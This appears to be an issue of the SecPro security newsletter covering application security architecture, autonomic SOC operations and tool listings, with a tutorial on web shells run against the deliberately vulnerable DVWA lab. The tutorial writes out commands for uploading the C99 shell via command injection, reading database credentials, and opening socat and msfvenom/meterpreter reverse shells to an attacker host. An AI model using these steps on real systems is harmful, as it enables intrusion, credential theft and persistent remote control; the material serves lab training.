Using Web Shells for Profit
U

SecPro#12:  Using Web Shells for Fun and Profit, 10x SOC

In Today’s Issue 

→ Rethinking Modern Application Security Architectures

→ Using Web Shells for Profit

→ Autonomic Security Operations

→ Tools and Resources

AppSec

Rethinking Modern Application Security Architectures

As more organizations adopt cloud-centric applications, the need for unified, modern approaches to security solution architectures and implementations are now critical.

Although traditional security tools are still widely used, they are not designed to support modern application architectures and architectures that are API-centric. Plus, the software development life cycle is evolving at a faster pace than ever before. This begs an urgent need for security solutions that can provide both advanced security capabilities and can also easily adapt to modern application architectures.

New research from Enterprise Strategy Group (ESG) recently found that traditional security tools don’t meet the needs of modern application architectures either. Their study concluded that:

  • Organizations on average use 11 web applications and API security tools and spend close to $3 million dollars annually.

  • Security is now more complex and costly as organizations must protect traditional architectures, as well as new architectures and cloud environments.

  • Traditional security tools are ineffective and impede business growth.

  • Web application and API security is more difficult than two years ago with IT organizations struggling to maintain adequate security across new application architectures.

  • The shift to public cloud and API-centric applications, without a modern security solution to support those innovations, is driving the need for new security approaches.

ESG recommends that organizations adopt unified security solutions with strong API protection, coverage for different architectures, integration with DevOps tools and processes, and strong security efficacy through advanced detection methods including behavioral-based blocking.

Checkpoint Software says to avoid patchwork security architectures that use tools and solutions that don’t provide a holistic approach for creating a cybersecurity architecture. The company recommends closing security gaps, reducing risk, and increasing operational efficiency using a multi-layered, holistic approach referred to as a consolidated security architecture.

Consolidated security architectures protect all IT attack surfaces – networks, cloud, endpoints, mobile and IoT devices – with threat prevention technologies, management services, and threat intelligence along with a unified security management platform.

Finally, security responsibility may be distributed across IT operations, DevOps or application developers, or cloud engineers as the primary security owners.

“The responsibility for protecting enterprise assets, data, and users from cyber threats no longer falls solely on the security organization, even as the threat landscape becomes increasingly complex. Application security is a team sport that requires input and cross-functional collaboration across many parts of an organization,” said John Grady, Senior Analyst at ESG.

To be successful in an API-centric world, IT teams also need to require input and cross-functional collaboration across all disciples as well as business stakeholders.

Post credit: Scott Arenson 

Tutorial

Using Web Shells for Profit

Web Shells? 

A web shell is a malicious script that provides an attacker with a convenient way to launch attacks using a compromised web server. Web shells can provide a permanent backdoor into web applications and related systems. 

Application servers execute server-side code which is interpreted at runtime when the URL that points to that code is requested by a user on his web browser. For example: When the user requests a URL, such as: www.example.com/vulnerable/upload the webserver interprets/executes the code in the file ‘upload’ and returns the response generated by the code to the client browser. 

A web shell attack happens when a malicious user can inject their own file into the web server’s directory so they can later instruct the webserver to execute that file simply by requesting it from their web browser. 

What web technologies are compatible with Web Shells? 

PHP, JSP and ASP based webservers are most compatible to Web Shells. Web Shells get installed in servers by exploiting vulnerabilities in the web server software or vulnerable plug-ins added to the web server. Alternatively, it can be uploaded via any file upload feature.  

Using Web Shells for Profit: Examples of popular Web Shells 

Other than minimalist shell codes used to gain an initial foothold, many more advanced web shells are available. Some of the better-known include b374k (a PHP web shell), WSO (short for Web Shell by Orb), and the advanced China Chopper web shell (commonly used in attacks originating from China). Full-fat web shells can include built-in features for file management, brute-force attacks, botnet command & control, and even detecting and removing other web shells on the compromised system. 

Uploading Web Shells 

Let’s see how C99 web shells work 

1. Download C99 PHP Web Shell 

wget https://raw.githubusercontent.com/cermmik/C99-WebShell/master/c99shell.php 

2. Gzip C99 Shell file to make it compatible for DVWA 

gzip c99shell.php  

mv c99shell.php.gz c99.php.gz 

3. Upload webshell to DVWA app 

Once uploaded, file will be dropped to ../../hackable/uploads 

 

4. Browse to /hackable/uploads to check if c99 shell has been uploaded 

Now we need to unzip the file to get the php shell. 

5. Go to Command Injection vulnerability and run the unzip command on the php file to get shell file 

127.0.0.1; /bin/gunzip -v ../../hackable/uploads/c99.php.gz 

 

6. Check /hackable/uploads to see if c99.php.gz was uncompressed and shell file was extracted 

7. Browse to /hackable/uploads/c99.php to load PHP web shell. 

 

Once we have the shell, we can execute commands on the system. Let’s start by looking at the PHP config file. 

Note: There are several ways of uploading web-shells on a server and the above procedure is just one of the many examples. Some other common techniques include spoofing MIME-types, spoofing extensions, file comments, RFI etc. 

Post Exploitation 

Here we explore some of the post exploitation methods after we successfully upload a WebShell 

Browse to /var/www/html/config/ and then open config.inc.php to see sensitive data like db passwords. 

Go to SQL tab and fill up the form with credentials 

Now we can see the tables inside the Database. Let’s check out the user table. 

We can see all the usernames and passwords in plaintext 

Now, let’s try and take a shell access to the compromised machine. 

Everyone is pretty familiar with the traditional way of using nc to get a reverse shell 

We open a listening port (443) to keep it stealthy. 

And on the webshell, we create a nc connection to our attacker machine and then execute to /bin/sh 

We receive an incoming connection on our attacker machine.  

One of best way to get a TTY shell is to use Python to spawn a pty. The pty module lets you spawn a psuedo-terminal that can fool commands like su into thinking they are being executed in a proper terminal. To upgrade a dumb shell, simply run the following command: 

python -c ‘import pty; pty.spawn(“/bin/bash”)’ 

The problem is not every server has netcat installed, and not every version of netcat has the -e option. And SIGINT (Ctrl-C) may still close netcat, and there’s no tab-completion or history. In such cases, we can use an alternative. 

socat is netcat with added advantages and is a very powerful networking Swiss-army knife. Socat is used to pass full TTY’s over TCP connections. If socat is installed on the victim server, we can launch a reverse shell with it. It is necessary that we catch the connection with socat as well to get the full functions. 

The following commands will yield a fully interactive TTY reverse shell: 

socat file:`tty`,raw,echo=0 tcp-listen:443 

socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:<<IP>>:443 

We can see that we get a working TTY shell in one go. 

However, the most favored way of taking a shell access for hackers is through the Meterpreter shell module of msfvenom framework.  

We create a msfvenom ELF payload which would connect back to our attacker machine. 

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf 

And then we host the binary file on a server and serve it using a simple python http server module 

python -m SimpleHTTPServer 8080 

On our attacker machine, we run msfconsole and then set up a listener for incoming connections from our victim machine 

We can then use our webshell to download the meterpreter payload, by running wget command using the webshell  

wget <<IP>>:8080/shell-x64.elf 

We now need to make sure the elf file is executable, so we run the chmod command to set the executable bit 

chmod +x shell-x64.elf 

Now we can execute our payload through the webshell. 

./shell-x64.elf 

We get an incoming connection from our victim machine. And it creates a meterpreter session for us. 

We can now drop into a shell using the shell command. And then use the python pty module we used earlier to create a tty shell. 

SecOps

Autonomic SecOps: 10X Transformation of the SOC

An unfortunate common theme of many cloud transformations is that the SOC requirements get deprioritized when organizations have tight timelines and budgets to drive their teams to the cloud. The reason being, most SOC teams are too busy fighting fires and don’t have the spare cycles to focus on adapting their use cases to cloud workloads and modernizing their own infrastructure. Missing this opportunity to modernize with the business only makes the threat management problem worse, as a cascading effect of perceived value causes a lack of funding among a plethora of other issues that minimize the efficacy of the SOC.

In their latest whitepaper, Iman Ghanizada and Dr. Anton Chauvkin (of Google Cloud’s Chronicle SIEM)  discuss what’s Autonomic Security Operations and how to achieve it.

Autonomic Security Operations is a combination of philosophies, practices, and tools that improve an organization’s ability to withstand security attacks through an adaptive, agile, and highly automated approach to threat management. It is built on four pillars of exponential improvement:

  • 10X People
  • 10X Processes
  • 10X Technology
  • 10X Influence

In a nutshell..

In order to achieve autonomic SecOps, you need to exponentially improve the abilities and effectiveness of your people. Distribute and automate your security processes and workflows. Leverage cloud-native technologies that can operate at planet-scale with minimal operational overhead to focus on solving security challenges. And lastly, have deep integration and significant influence across your organization to improve the efficacy of your preventive defenses to minimize the amount of threats that your team has to detect and respond to.

Tools

/in-memory-cpython
An in-memory embedding of CPython, useful for offense/red teams.

Elastic Security’s Threat Intel Filebeat Module
This module ingests data from a collection of different threat intelligence sources. The ingested data is meant to be used with Indicator Match rules but is also compatible with other features like Enrich Processors. The related threat intel attribute that is meant to be used for matching incoming source data is stored under the threatintel.indicator.* fields. You can learn how to ingest threat data with the Threat Intel Module in this blog.

filebeat threatintel overview

The module’s threat information dashboard 

/epiphany
Epiphany identifies weak spots of a web property that may be more vulnerable to DDoS, by crawling pages, measuring their timing, and using heuristics to determine if pages are cached.

Resources

CryptoHack
A free gamified platform to learn about modern cryptographic protocols by solving a series of interactive puzzles and challenges with this free gamified platform.

Prep Your K8s Cluster for Pod Security Policy Deprecation
A PSP is a cluster-level resource that allows a cluster administrator to control security-sensitive aspects of the pod specification. A PodSecurityPolicy object defines a set of conditions that a pod must meet in order to be allowed into the cluster. It’s basically a built-in admission controller which enforces security policies on pods across a cluster. In this blog, explore why PSP is being deprecated and how OPA can ease the migration from PSP.

Learning resources for new users of Burp Suite Professional
Pro video tutorials from Portswigger, pro-exclusive features you should try, the web security academy, content from the community, tutorials and guides, the BApp Store/Burp Extender, and more.

The SecPro is a weekly security newsletter to help you stay sharp and upgrade your skills with trending threat insights, practical tutorials, hands-on labs, and useful resources. Build skills in as little as 10 minutes.

Stay up to date with the latest threats

Our newsletter is packed with analysis of trending threats and attacks, practical tutorials, hands-on labs, and actionable content. No spam. No jibber jabber.